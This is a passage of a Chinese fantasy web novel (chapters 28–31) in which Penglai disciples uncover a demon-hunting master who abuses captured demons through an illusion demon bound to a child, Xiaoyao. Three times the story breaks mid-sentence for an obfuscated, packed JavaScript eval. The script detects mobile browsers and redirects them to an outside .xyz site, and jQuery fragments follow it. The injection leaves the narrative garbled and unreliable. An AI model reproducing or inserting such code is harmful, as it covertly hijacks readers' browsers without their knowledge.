云晚苓将店小二刚端上来的那盘甜口荷叶鸡推到江花朝面前,轻声道:“阿朝,这道菜应该合你的胃口,今日咱们都要多吃些,明日可是一场硬仗。”
“多谢师姐!”江花朝毫不客气地夹了一大块鸡肉,这鸡肉嫩得很,果然好吃。
燕昀看着楼下说书先生桌前围满了人,他们恨不得将那位名声在外的捉妖天师供奉起来,人人脸上都是一副殷勤的样子。
他给阿徵盛了碗酒酿蛋花汤,感慨道:“这位天师恐怕比庙里神仙的话还管用,既舍得花银子悬赏妖,又能帮百姓捉到恶妖,咱们可不要低估了这人在这里的号召力,他如果看破了我们此行目的,恐怕会利用百姓来对付我们。”
叶禹倒是没把这事放在心上,“那人八成是个半吊子,就算他真有点本事,我们最终目的是幻妖,没了幻妖他算个鸟。”
“幻妖护主,我们必须搞清楚这位深得民心的天师到底是不是幻妖的主人。”
云晚苓隐隐觉得此事背后另有隐情,幻妖很难诞生于某个人的执念,据史册记载幻妖只能被妖族血脉的执念召唤出来,如果这位天师真的是幻妖的主人,那这位捉妖天师也许是妖族血脉,又或者是他收服的某只妖执念太重召唤出了幻妖。
燕昀思虑再三,还是觉得此事断不能如此草率,尤其是幻妖,他们万不能轻敌。
“师姐,我总觉得咱们这一次应该留个后手,既然你的玉烛烬能跟云晟的法器千里传讯,想必也能留下踪迹,你先用玉烛烬在我们住的客栈留下痕迹,然后将此事前因后果写在纸上,这张纸必须藏得隐秘,否则云晟他们很难得知事情全貌。”
第二日大清早,云晚苓就带着被铁笼困住的‘大妖’来到了除妖宫的门外,守门的小厮一看见在铁笼内挣扎嘶叫的大妖吓得腿都软了。
其中一个小厮跌跌撞撞闯进内院,喊道:“天师大人!有……有妖!”
小厮跑得太快不慎被绊倒,在他即将摔个狗吃屎的时候,一只布满黑纹的手拎住小厮的衣裳将他拽住,小厮站稳后连忙抱拳行礼,“天师大人。”
那人身着鸦青色道袍,手持拂尘,就连发冠上都是桃木簪子,此人虽然年过六旬但仍步伐稳健,他不紧不慢地捋了捋胡子,道:“慌什么?吾什么妖没见过?莫要在这儿丢人现眼,今日斗兽场的妖都准备好了吗?”
小厮道:“回天师大人,早已准备妥帖,昨日那六只妖的妖丹已经剥出来了,只是有一只母蛇妖怀了孩子,现下应该快要分娩了。”
天师闻言讥笑一声,将手中的拂尘抖了抖,道:“既然如此,今日就让那只母妖跟亲生骨肉厮杀一场,让这些凡胎肉眼瞧瞧妖的血腥。”
“天师大人,门外有一位姑娘声称有只大妖要献给天师,只为得见天师尊容。”
29. 第二十九章
“哦?吾倒是好奇究竟是怎样的大妖,请那位姑娘在正厅用茶。”
天师瞥见脚边还未死绝的花妖,他抬脚踩在那株兰花上碾了两下,直到兰花妖彻底没了生息才挥袖离去。
正厅里的茶水糕点早已备好。
天师刚踏入正厅就看见一位气质出众的女子,他只一眼就看出这女子绝非凡人,但他并不在意此女子的身份,毕竟慕名而来的修仙者不在少数。
“姑娘口口声声要见吾,究竟意欲何为啊?”天师坐在主位上端起热茶,漫不经心地问道:“姑娘既然能捉大妖,想必也是同道中人,姑娘为何不吸取此妖修为,又或是将妖丹据为己有。”
云晚苓一袭挼蓝飞鹤纹开衫襦裙,发簪样式也是飞鹤形状,她摘下斗笠起身向天师行了一礼,道:“想必您就是百姓口中的天师大人,小辈刚入行不久还没学会取妖丹,今日我为天师大人进献此妖只为求得天师灵丹妙药,助我早日学会捉妖术。”
天师捋了捋胡子,笑呵呵道:“你这孩子倒是有趣儿,吾从不收徒,但可以教你几招杀妖的诀窍。”
“小辈洗耳恭听。”云晚苓以为天师会将法子说出来,没想到天师将茶盏往桌上一放,起身理了理衣襟,道:“那就随老夫前往斗兽场一观。”
除妖宫占地最大的就是斗兽场和关押妖兽的地牢,地牢里有水牢和火笼,抓来的妖都被关在地牢里,等待他们的只有上场厮杀和被剥离妖丹这两种结局。
“这里就是斗兽场?”
跟在云晚苓身后的阿徵发出一声惊叹,这地方是用青石板砌成的高楼,斗兽场的外墙竟有百尺高,外墙每隔一寸就贴了一张符纸,场内看台由高到低的台阶上坐满了围观的看客,看台最高处的四角有几位手持大刀的壮汉。
云晚苓不动声色地观察着四周的看客,她压低声音在阿徵耳边叮嘱几句,“记住了,花朝跟叶禹会从侧门溜进来,他们要去地牢,燕昀现在应该已经溜进了天师的书房,我们一定要给燕昀争取时间。”
“师姐放心,我早就打听清楚了,今日的斗兽场足足安排了七场斗兽。”阿徵认真道:“听说还有一场是母妖跟幼崽厮杀。”
云晚苓瞬间愣住了,不可思议的眼神落在端坐高台的天师身上,到底是怎样的人会让母亲跟孩子厮杀……这是人能做出来的事?
“阿徵,不要学那个老家伙,我们身为蓬莱弟子绝不能如此行事,妖族固然有暴虐嗜杀之徒,但不全是恶妖,只要不祸害人间,不残害百姓,我们就不要对其赶尽杀绝,妖族的实力不容小觑。”
坐在靠西台阶上的云晚苓摸了摸阿徵的脑袋,轻笑道:“不过我们阿徵这么善良,连小兔妖都救下了,肯定不会滥杀无辜。”
“阿徵一定会听大师姐的话。”
阿徵从前觉得大师姐冷脸又话少,没想到大师姐是个外冷内热的性子,大师姐简直是这世上最好的女子,不仅博学多识、明辨是非、更能独当一面,修为高深却从不傲世轻物,对妖族也心存善念,不会牵连无辜。
难怪平日里无法无天的云晟最听大师姐的话,要是云晟能答应用燕师兄换大师姐就好了。
一位手持铜锣的壮汉站在三十余尺的铁笼前高喊道:“各位,咱们除妖宫近三个月来降获上千只妖,现在斗兽场内存活的妖不足五百,今日第一场马上开始,各位看官请不要乱走,斗兽场后面的地牢不能靠近,牢中恶妖成群,只要靠近就会危及性命!”
底下一群人异口同声道:“赶紧开场吧!我们都等不及要看今日的精彩厮杀了!”
阿徵紧紧盯着斗兽场铁笼下面的机关,如果他没猜错的话那机关是与地牢相连,要是按照花朝师姐的计划,她跟叶师兄负责放出地牢里的妖,但他总觉得哪里不对劲,这一切都太顺利了。
“师姐,我总觉得这地方不简单。”阿徵轻轻碰了一下云晚苓的胳膊,将自己的顾虑说给云晚苓,“如果除妖宫是在三个月前建成,也许我们不是第一批察觉出异样的修仙者,如果不是将离前辈的妖丹被幻妖夺走,我们也不会一路追查至此,既然幻妖能剥离将离前辈的妖丹,想必也会剥取其他妖族的妖丹,那么先前来追查此事的修仙者为何没有将消息传回门派?”
云晚苓后知后觉道:“你的意思是地牢里关押的不止是妖族,也许还有仙门弟子?”
阿徵冷静的分析了一番,“我听师兄说过并非人人都是拜入门派修习仙术,还有不少人是散修,不入门派,不知师承何人,这地牢里会不会也关着散修?”
云晚苓若有所思的点点头,“我们先静观其变,等花朝去地牢打探之后才有了定论。”
第一场就是刚分娩的蛇妖和四只小妖崽子的厮杀,被幻妖控制神志的母妖伸出利爪扑向刚睁开眼的小妖崽子,四只小妖崽子蜷缩在铁笼角落里瑟瑟发抖,眼看就要被母妖的爪子硬生生穿透脖颈。
千钧一发之际突然一道愤怒的声音打断了这场闹剧,“难道除妖宫降服的妖族都是被如此折磨至死吗?!”
端坐于高台的天师不屑地冷哼一声,抬手示意底下的壮汉将人拖出去,道:“各位不必惊慌,斗兽场的建立初衷便是要诸位看清妖的本性。”
“本场厮斗继续——”手持铜锣的壮汉再次敲响了铜锣。
第一场毫无悬念是被控制神志母妖亲手杀死了自己的孩子,恢复理智的母妖看到躺在血泊里的孩子发出一声歇斯底里的尖叫,血泪从那双通红的双眸中缓缓流下。
随着那一声杜鹃泣血般的尖叫声,蛇妖体内的妖丹缓缓离体,经过临死前的恨意和怨念的炼化,蛇妖的妖丹已呈血红色。
“此乃上品妖丹,能辟邪驱妖,如果是修仙之人能增进百年修为。”天师手中的拂尘轻轻挥动,浮在半空的那枚妖丹被候在铁笼外的小孩放置在锦盒中。
“这位姐姐。”云晚苓向旁边妇人行了一礼,“敢问天师为何要将妖丹收起来?那孩子也是妖吗?”
那妇人回了个礼,道:“姑娘有所不知,每一枚妖丹都是价高者得,这小孩不是普通家的孩子,是天师膝下所养的孤儿,天师对这个孩子悉心教导视为亲子,不过也是奇怪,以前都是其他几个捉妖师来收妖丹,今儿怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799331|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是小垚来收妖丹。”
天师垂眸深深地看了那孩子一眼,他看向那孩子的眼神似乎有忌惮和不悦,还有更多看不清的复杂情绪。
这一幕被云晚苓尽收眼底,她敏锐地察觉到天师对这孩子绝不是表面上这么简单,对外宣称视为亲子却让他接触妖丹,捉妖师怎么可能不知道妖丹对凡人的损害有多大,尤其是孩子。
除非……
除非这孩子不是凡人……
如果这孩子是妖族,捉妖天师养了一个妖族对名声和威望都有百害而无一利,天师既然清楚这件事的要紧之处,那为何他还要故意暴露在自己面前?
从她跟阿徵进除妖宫,再到燕昀男扮女装混进天师书房,最后是江花朝和叶禹溜进地牢,这一切都太过顺利,越是顺利就越是可疑……
云晚苓突然想到此事的蹊跷之处,她立马将斗笠戴上,一把拽住看得专注的阿徵快步走向斗兽场南边的侧门,低声道:“阿徵,此地不宜久留,我们先离开除妖宫。”
阿徵道:“师姐,你是不是发现了什么?”
“等离开除妖宫我再跟你细说此事。”云晚苓抬手召唤出玉烛烬,玉烛烬跟在云晚苓身侧,他们顺着暗道走进了一间漆黑无光的屋子,刚踏进去密室的石门就合上了。
刚踏进这间屋子阿徵就觉得浑身不适,他发觉自己体内的灵力似乎在慢慢削弱,这不合常理,他跟着师兄在外云游多年从未遇到过这种情况。
他轻轻拽住云晚苓的袖子,道:“这地方好像能吸取我们体内的灵力……”
云晚苓也发现了此地有蹊跷,她毫不犹豫用簪子划破掌心,殷红的血顺着手腕淌下来,她凝指在阿徵额头施下术法,道:“阿徵,师姐暂时护住了你的心脉,这地方恐怕早就布下了天罗地网。”
这种能吸取灵力的阵法云晚苓在古书中见过,刚开始只是吸取修仙者的灵力,慢慢就会摧毁修仙者的心脉和仙根,此阵法太过阴狠,不仅侵蚀仙根还会摧残修仙者的心神,修仙者的下场轻则被吸干灵力,重则失去神智成为一个疯子。
“阿徵,现在不要动用灵力,你的修为无法抵抗这个阵法,明白吗?”
云晚苓左手结印在阿徵周身设下结界,若不是她修为高深,只怕早就无法使用灵力了,但阿徵的修为浅薄,如果没有结界护体定会损其仙根。
阿徵急切道:“师姐,你为何要在我身上设下保护结界?那你呢?”
云晚苓抬手平息了体内躁动不安的灵力,安抚道:“无妨,我的仙根不会受这阵法影响,恐怕不止是我们受困,花朝和燕昀他们安危难测。”
她顿了顿,将心中的顾虑告诉阿徵,“如果到了危险关头你不要管师姐,找准时机逃出去,将这里的事告诉云晟他们,此事必须传回蓬莱由掌门定夺。”
“师姐!我怎能丢下你一人。”
密室的石门缓缓打开,门后传来一道浑厚的声音,“真是令人感动的同门手足之情,可惜你们谁也没办法活着离开除妖宫,老夫虽然喜欢你这女娃子,但可惜你太聪明了,老夫不得不忍痛杀了你。”
30. 第三十章
“幻妖的主人果然是你。”
密室内的烛火瞬间燃起,云晚苓上前半步将阿徵护在身后,她也终于看清了幕后之人,站在石门外得意狂笑的不是旁人就是百姓拥戴的天师大人,这可真是讽刺至极!
阿徵鄙夷的眼神落在天师身上,嗤笑道:“如此无耻无德之人还自称什么捉妖天师,师姐你可别抬举他了,他这种杂碎就该下无间地狱受拔舌之刑!”
天师像是听到了什么天大的笑话,他的脸上露出猖狂的笑容,他扬起手中的拂尘,道:“你们这群心比天高的傻孩子,今日就是你们的死期了,小垚。”
云晚苓猛地抬眸看向站在天师身侧的小孩,果然跟她猜得一样,幻妖只有妖族的执念才能幻化出来,捉妖师不可能是妖。
天师如果想利用幻妖夺取妖丹来增进修为就必须找一只妖。
找一只能掌控在手中的妖族,没有任何妖能比得上自幼养在身边的妖忠心,而且这孩子是本就忠心的小狗妖。
“天师大人处心积虑、费尽心思才得到幻妖,想必这孩子对你是忠心耿耿。”云晚苓开口试探道。
天师得意地点点头,“不错,小垚最听老夫的话,所以老夫今日要你们的命应该不难。”
“恐怕天师还不知道我等不是散修,你若是敢伤了我们分毫,只怕自身姓名难保。”云晚苓冷冷一笑。
这还是第一次见如此胆量的姑娘。
天师上下打量云晚苓一番,赞叹道:“老夫倒是欣赏你这女娃子的胆量,尔等是何门何派?”
“行不更名坐不改姓,蓬莱山弟子云晚苓请前辈赐教——”
云晚苓不再跟他废话,沿墙快速瞬移到天师身后,干脆利落的一掌击晕了小垚,再侧翻一脚踢飞了天师手中的拂尘,等天师反应过来锋利的匕首已经架在脖子上了。
“蓬莱?!”天师眼底闪过一丝惊诧,他虽然不入山门却也听过仙门蓬莱的名气,捉妖师都听过蓬莱和昆仑、虞山的名号,竟然招惹了蓬莱山的弟子,可真是麻烦……
云晚苓见他态度有所松动,便步步紧逼道:“只要天师交出幻妖和小垚就能弥补往日犯下的错,哪怕只是弥补一二,总比自寻死路要强。”
天师闻言唇角的笑意更深,他幽幽道:“莫非老夫只剩下这一条路能走?姑娘聪慧过人不会不明白一个道理。”
“什么道理?”
“死人永远都不会说出真相。”
天师迅速将符纸扔向倒在地上的小垚,一缕红烟从小垚的手腕处飘到半空,阿徵察觉到天师的意图,急切喊道:“师姐快动手!是幻妖!”
云晚苓很清楚如果她此刻躲开,幻妖就会去攻击阿徵,身为蓬莱大师姐怎能置师弟的安危于不顾,她翻手将玉烛烬丢向阿徵,玉烛烬瞬间撑开替阿徵挡住了红烟的攻击。
天师阴森森地笑出声,“来不及了,你的师姐很快就会被幻妖控制,我要让你亲眼看着你的师姐死在你面前。”
云晚苓被幻妖控制几乎只用了一瞬的时间,她的双眼被覆上一层黑色,紧接着她握住那把锋利的匕首缓缓架在自己脖颈处,稍一用力便划出一道血痕。
“师姐!”阿徵连忙冲上去将她的匕首一把夺下,幻妖的能力竟然强大到这个地步,连云晚苓都被控制了,他不停地晃着云晚苓的胳膊,试图将师姐的神智唤醒,“师姐,你看看我,我是阿徵。”
天师不屑地冷哼一声,抖了抖被弄脏的衣袖,道:“一群不自量力的臭小子,来人,把他们拖进地牢。”
地牢是在斗兽场地下一层,整个地牢阴湿潮冷又没有窗户,墙根台阶下都长满了青苔。
被铁链束缚手脚的阿徵好奇地打量着四周,这地牢越往里走越暗,“这地方真是暗不见光。”
地牢远比阿徵想象中更恐怖更血腥,每一间牢房里的妖都拴着铁链,铁链上布满了铁钉,扎进手腕和脚踝是铁钉为了压制妖族体内的妖力,铁钉上涂了克制妖族的草药,所以即便是修为高深的大妖也无法逃脱这贴满符纸的地牢。
几个壮汉押着云晚苓和阿徵走到地牢最深处的水牢,其中一个壮汉刚要打开牢门就被打晕了,另外几个壮汉扭头一看,一副活脱脱见鬼的模样。
其中一个壮汉颤颤巍巍地举起大刀,刀还没挥下去就被拦腰斩断,他瞬间吓得屁滚尿流,大喊道:“这女的不是被天师控制了……她怎么又……快去禀报天师!”
“…………”云晚苓迅速拦住准备求救的壮汉,她以手为刃劈了下去,壮汉瞬间瘫软在地。
其余壮汉也在须臾间被云晚苓打晕放倒,她一剑砍断阿徵手腕上的铁链,仔细查看了阿徵手腕上的伤口,幸好只是浅浅的一道伤口,道:“阿徵,没事吧?”
“师姐,你不是被控制心神了吗?”阿徵呆呆地看着眼前恢复正常的云晚苓,师兄曾说过只有心智极为坚定的修仙者不会受幻妖的蛊惑,师姐的心智竟然坚定到如此境地,真是不可思议。
云晚苓凝指使出瞬移术,她平日勤加练习各种术法,所以才能在灵力被限制的情况下动用瞬移术,不过瞬移术的范围无法像以前一样来去自如。
阿徵反应过来的时候,他们已经在除妖宫的一处凉亭里,他不可思议地看向周围的环境,道:“师姐,你怎么没被控制心神?还能使出瞬移术……”
云晚苓不轻不重地揉了下阿徵的头,“你也太小看师姐了,那幻妖蛊惑之术确实很强,但她算错了一点,不是每个人都会有私欲和贪念,所以她无法真正控制我,方才天师已经告诉我最想知道的答案。”
阿徵不解道:“师姐的意思是?”
“幻妖的真正主人不是天师,而是那个叫小垚的孩子,而且那孩子是个小狗妖。”
云晚苓越想越觉得蹊跷,捉妖天师是从哪儿寻得如此不寻常的妖崽子,而且还是从小养在身边,她喃喃道:“难道小垚是天师从母妖身边抢来的……”
可是母妖护崽怎么可能将孩子拱手让人?
除非……天师杀了母妖,然后将还未睁眼的小垚带在身边,所以小垚才会对天师如此忠心,哪怕拥有了强大的幻妖还是对天师言听计从。
阿徵刚想说话就被凉亭旁的假山传来的一阵窸窸窣窣的声音吸引,他给云晚苓比了个噤声的手势,然后蹑手蹑脚地走过去,一把薅住某个鬼鬼祟祟的小孩,“怎么是你?”
被阿徵抓住的不是旁人,正是能驱使幻妖的那个孩子——小垚。
“小垚,你怎么会跟着我们?”云晚苓连忙上前让阿徵松手,她看着咳嗽不断的小垚,心头一软,柔声问道:“小垚,你是不是有事想问我们?”
小垚紧紧拽住云晚苓的袖子,道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799332|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姐姐,你能看出来我是妖,那你是不是也能帮我打开师父的书房?”
“为何要打开师父的书房?”
小垚犹豫了一下,颤声道:“师父说我是被他捡回来的,可我胳膊上有一个很深的伤疤,像是被咬的痕迹,我想知道师父为什么从来不让我进书房,为什么我一出生我娘就不要我了。”
一直沉默的阿徵突然开口,“其实我能看到你的过往,只需要取下一滴妖血。”
阿徵只说出了一半真话,妖血确能让破隐术探知过往。
但有了妖血也能被伏魔塔毁掉妖身夺其性命。
“…………”
云晚苓自然清楚妖族的心头血有何用处,她下意识就要去拦阿徵,伸出去的手顿了一瞬终究还是收了回来,虽然小垚只是一个妖力很弱的小狗妖,但他体内的幻妖太过强大,整个城的百姓生死都在幻妖弹指间。
小垚接过阿徵递来的匕首,他没有犹豫直接划破手心,顺着手掌淌下的血凝聚成血珠落在阿徵的指尖,他看着一脸诧异的阿徵,道:“哥哥,是不是给你这个我就会死掉……”
阿徵倒吸一口冷气,“你怎么会知道?”
小垚平静道:“师父说过,是妖就该死,所以我知道妖的下场是什么,哥哥想杀我是因为哥哥和姐姐都是神仙,神仙都是要救百姓杀妖的。”
“小垚别怕,我们不会伤害你。”云晚苓摸了摸小垚的头,安抚道:“我们不仅要救百姓,还要救除妖宫里的妖,然后我们把你们送回妖界,所以你不要害怕。”
阿徵沉默片刻也附和道:“这个姐姐说得对,我们不杀好妖,而且你年纪这么小,我们不会伤害你。”
小垚好奇的看着大哥哥盘腿坐在地上,他并拢双指在额头上点了一下,伴随着一道白光闪起,大哥哥缓缓闭上了眼。
“哥哥他怎么了?”小垚轻轻拽了一下云晚苓的袖子。
云晚苓道:“别担心,哥哥他是在了解小垚的过去。”
过了一炷香的时间,阿徵才缓缓睁开眼,他神色有些复杂地看向小垚,过了许久才艰难开口,“小垚的娘亲是被天师剥离妖丹,小垚胳膊上的咬痕是他阿娘在临死前留下的,她希望小垚能记住自己,她很爱很爱小垚。”
“…………”
小垚只觉得浑身力气都被抽走,他猛地后退几步不慎跌坐在地上,颤抖的手轻轻抚上胸前的长命锁,脑子一片空白,这怎么可能?!
师父说过无数次他是被捡来的,因为他身体孱弱才被爹娘抛下,如果不是师父心慈,他早就死在荒山野岭了。
师父虽然对他动辄打骂,但师父也没有像对待其他妖一样对自己,他从来没有想过要杀了自己……
云晚苓蹲下摸了摸小垚的头,道:“小垚,我知道你现在很难过也不相信天师会杀了你阿娘,也许他从一开始都只想要一样东西。”
“什么?”
云晚苓直视着小垚通红的双眼,一字一句道:“你体内的幻妖是高阶妖族,幻妖的能力太过强大,几乎可以控制所有妖族的心智,只要有了幻妖就可以吸收其他妖族的妖丹提升自身修为,所以……”
“所以你还要帮着那个天师来对付妖族吗?”阿徵握紧手中的伏魔塔,他认真地盯着小垚的脸,如果这孩子执意相信那个死老头,那他就一定会动手。
31. 第三十一章
楼珩他们一行人骑大半日的马到了一座名为‘余都’的城外,城外有许多百姓在排队等着进城,他们手里大多数都拎着一个铁笼,铁笼上盖着一层黑布,笼内的妖气很是微弱,有的笼子里甚至没有妖气。
望尘跟云逍站在城门外观望城内的情况,桑宁看着百姓手上拎的笼子,她越看越觉得这些百姓很奇怪,按理说百姓对妖族很是畏惧,甚至可以说是避之不及。
桑宁道:“百姓为何要捉这些妖力低微的小妖,而且还都要进城。”
“阿宁你想多了吧,可能城里有人高价收妖。”云晟并不觉得这有什么奇怪的,毕竟百姓也要填饱肚子,他勒紧缰绳率先冲进城门,道:“咱们先进城吧,等找到阿姐他们再商议怎么对付幻妖。”
望尘心中隐隐有一丝不安,他总觉得幻妖背后没那么简单。
他们一行人刚进城就看见城墙根有一排铁笼,笼子里的妖大大小小有上百只,有的妖甚至还没学会化形术,有几只毛茸茸的小猫妖蜷缩在笼子里瑟瑟发抖。
桑宁上前隔着笼子摸了摸其中一只病蔫蔫的小猫妖,心软道:“好可怜的小猫妖,师兄,他们都会被杀吗?”
望尘沉默了片刻,道:“城内应该是有捉妖师坐镇,否则不会有这么多妖,但是这捉妖师行事太过蹊跷,不论是修仙者还是捉妖师都不可能对妖族如此赶尽杀绝,除非……”
“除非什么?”云逍问道。
望尘沉声道:“除非这位捉妖师走得是歪路,炼得是歪门邪道的功法,需要吸取妖丹来提升自身修为。”
云逍惊道:“还有这种歪门邪道?!”
楼珩道:“那我们是不是应该先出城?”
“真是奇了怪了,按理说玉烛烬给出的方向就是这里,而且附近只有一座城,可是师兄师姐他们怎么不回信,难道是我的千里传讯术退步了?”云晟挠了挠后脑勺,他百思不得其解究竟是哪儿出了问题。
云晟的话引得望尘陷入沉思,他方才察觉到自己体内的灵力混乱,无法平心静气更无法施展灵力,恐怕这地方另有蹊跷。
他将背上的碧海潮生琴取下来,认真问道:“你们有没有发现体内的灵力已经开始已逐渐不稳,这地方好像有什么特殊阵法在影响体内的灵力。”
楼珩仔细感受了一下,他倒不觉得灵力被限制,但其他人都多多少少受了影响,尤其是云晟和云逍,他们修为尚浅又很少面对这样的阵法,一时间竟然有些头重脚轻。
“哎,云晟!”楼珩眼疾手快冲过去一把拽住差点摔倒的云晟,没想到云晟浑身滚烫,像是起了高烧一样,惊道:“你平日不是很能闹腾吗?今天怎么刚进城就一副病蔫蔫的样子,身上还这么烫。”
“阿姐……”云晟在彻底失去意识前喊出了云晚苓的名字。
望尘心底有了几分猜测,他就地而坐轻轻拨动琴弦,悠扬清冽的琴音渐渐平息了众人体内那股躁动不安的灵力,但望尘很清楚以自己的修为只能维持一两个时辰,必须尽快想法子离开此地。
“此地不宜久留,我们先出城再另想法子。”望尘的话还没说完就被桑宁拽住了袖子,他疑惑地看向桑宁,道:“嗯?怎么了?”
桑宁指着北面城墙上贴着的告示,道:“你们快看这城墙上贴的告示,这画得好像是云师姐!”
楼珩一听到有师姐师兄的踪迹立马把云晟丢到马背上,他急忙跑过去看清告示上贴的画像,“这不就是花朝师姐和云师姐的画像,这上面说什么……师姐是妖女?”
“这是谁在大放厥词?!竟然敢说师姐是妖女!!”桑宁气得立马就要把告示撕下来,望尘连忙拦住了她,道:“阿宁先别着急,这张告示只有修仙者才能看到。”
“什么?”桑宁的目光再次落在那张告示上,这告示看上去跟寻常告示没什么不同啊。
云逍仔细观察一番,道:“纸上确实施了特殊的术法,恐怕这也是一个圈套,师姐他们很有可能是被这幕后之人困在了某个地方,也许就在这城中某处。”
“大师姐灵力高强,怎么可能会被困住?”桑宁压根不信云逍的话。
“别闹了。”
望尘打断了他们的争执,他单手抱着碧海潮生琴走到桑宁身侧,道:“方才听百姓说这些妖都要送去除妖宫,恐怕幕后之人就在除妖宫内。”
他顿了顿,继续道:“我跟云逍前去除妖宫即可,你跟阿宁带着云晟先离开此地……”
“既然来了就别想走!老夫刚好陪你们玩玩。”
一道沧桑的声音自上空响起,他们还没反应过来就被一缕红烟包围。
“红烟……是幻妖!大家屏住心神,稳定体内的灵力,不要被这幻妖迷惑。”
最先反应过来的是望尘,他刚要抚琴就被红烟缠住了手腕,紧接着就被红烟笼罩双眼,他下意识去抓身旁桑宁的袖子,大声道:“稳住心神!不要去想那些让你们产生憎恨和贪念的过往,否则幻妖会彻底控制你们的意识!”
望尘、桑宁跟云逍都被幻妖控制了心神,他们在梦境中与幻妖幻化出的自己打得难舍难分。
楼珩却没有被幻妖控制,他盯着半空的天师看了几眼,确定此人就是幻妖的主人。
他毫不犹豫将辞暮抽出剑鞘,泛着冷光的剑刃直指天师,手腕一转剑刃向内划破天师的白袍,殷红的血渗透了白袍的袖子。
“你这娃子竟然没被幻妖蛊惑心神?!”
天师来不及应付只好侧身避开了楼珩手中的长剑,他连连后退,捂住胸口惊叹道:“你究竟师承何人?!竟然能不被幻妖所控……就连你的师姐师兄都难逃幻妖的蛊惑之术,你小小年纪就能有这本事?!”
“果然是你这老道伤我师兄师姐,你不仅残害妖族、利用百姓,你还要杀我仙门弟子。”楼珩不再留有余地,他每一招每一式都十分狠厉,手中的长剑发出阵阵剑鸣声。
天师快要招架不住时掏出几张符纸扔了出去,符纸下的一团红绳迅速将楼珩的手脚捆住,随着红绳上清脆的铃铛声,楼珩手中的辞暮掉落在地,他也不受控地硬生生从半空掉下去。
“有种你把这破绳子给我解开!”
侧躺在地上的楼珩拼命挣扎,他越挣扎红绳就束缚得越紧,最要命的是楼珩脖子上也被红绳缠住,绳子已经勒进皮肉,渗出几滴殷红的血珠。
“你这娃子真是不要命啊,被勒紧脖子的感觉不好受吧?”
天师方才就注意到这娃子手里的长剑并非凡物,他俯身仔细端详地上的那把长剑,赞叹道:“太阴玄铁?这可真是百年难得一见的宝贝,你这娃子也是蓬莱的弟子?”
楼珩冷哼一声,“你不配提我师尊的名讳。”
天师这下来了兴致,他活了二百多年都没见过这种宝贝,而且这娃子能不被幻妖控制,想必体质也很是特殊,他好奇地追问道:“娃子,你要是愿意告诉老夫你师承何人,老夫也不是非要杀了你们。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799333|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
楼珩道:“玉阙真人的名号听过吗?”
“…………”
短短几个字惊得天师连连后退,他倒吸一口冷气,玉阙真人?这下完了,当真是踢到了铁板。
镜花台近日来了位不速之客,还是撵都撵不走的狗皮膏药。
舜之帝君一觉睡到日上三竿,他伸着懒腰打开侧殿的门,道:“哎呀呀,还是你这镜花台睡得舒服,我都好久没睡这么安生了。”
司青衔正在长廊下摆弄花草,他头也不抬道:“还以为帝君要睡一整日,没想到来了我镜花台只是为了睡觉跟蹭饭,传出去也不怕人笑话。”
“笑话就笑话呗,本君又不是整日都能睡个安稳觉。”
舜之帝君没好气地白了他一眼,看来自己这是招人嫌了,哎,真是儿大不中留啊,以前司青衔没收徒弟的时候日日都能跟自己喝酒作诗,如今恨不得把自己轰出去,感叹道:“哎,司青衔你这副嘴脸真是令本君伤心,你那小徒弟呢?怎么不见人影。”
司青衔起身顺手把葫芦瓢丢到舜之帝君怀里,淡淡道:“你要是实在闲得慌就替我浇花,阿珩他跟着师兄师姐下山游历去了。”
舜之帝君像是听见了什么惊奇的事情,“将离的妖丹被剥离……此事正是你们蓬莱弟子发现的,难不成那一队弟子中也有楼珩?那小子资质平平跟着他们下山游历,你就不担心会出事?”
仙侍在凉亭的矮桌上摆好茶水糕点,还在凉亭外侧摆了屏风和香炉,香炉里熏的是白玉兰香。
坐在软垫上的司青衔坦然道:“为何要担心?”
舜之帝君哎了一声,道:“那可是你宝贝徒弟,你就不担心他受伤?”
司青衔道:“修仙之路何人不受伤?阿珩他不需要躲在本尊身后,他现在年纪还小,但总有一天他会独当一面。”
舜之帝君皮笑肉不笑道:“我很理解你初为人师的心情,但这就是你把我养的山鸡野鸭都炖成汤的理由?”
一想到司青衔把自己精心养大的鸡鸭炖了汤,舜之帝君就气不打一处来,他猛灌了三杯清茶才缓了过来,他捂住胸口连连叹气,“你我相识千年,如今却要为了一个才收入门下不足六年的小子就抛弃我这个旧友,真是让人心寒!”
司青衔捻了捻手指,道:“镜花台库房的所有东西任你挑,只许拿三样,这总可以了吧?”
舜之帝君闻言立马喜笑颜开,他知道司青衔这人私藏了不少宝贝,这次他可要拿些稀罕宝贝以慰藉自己被炖成汤的山鸡野鸭,他挑眉道:“这可是你说的,到时候可别说我占你镜花台的便宜。”
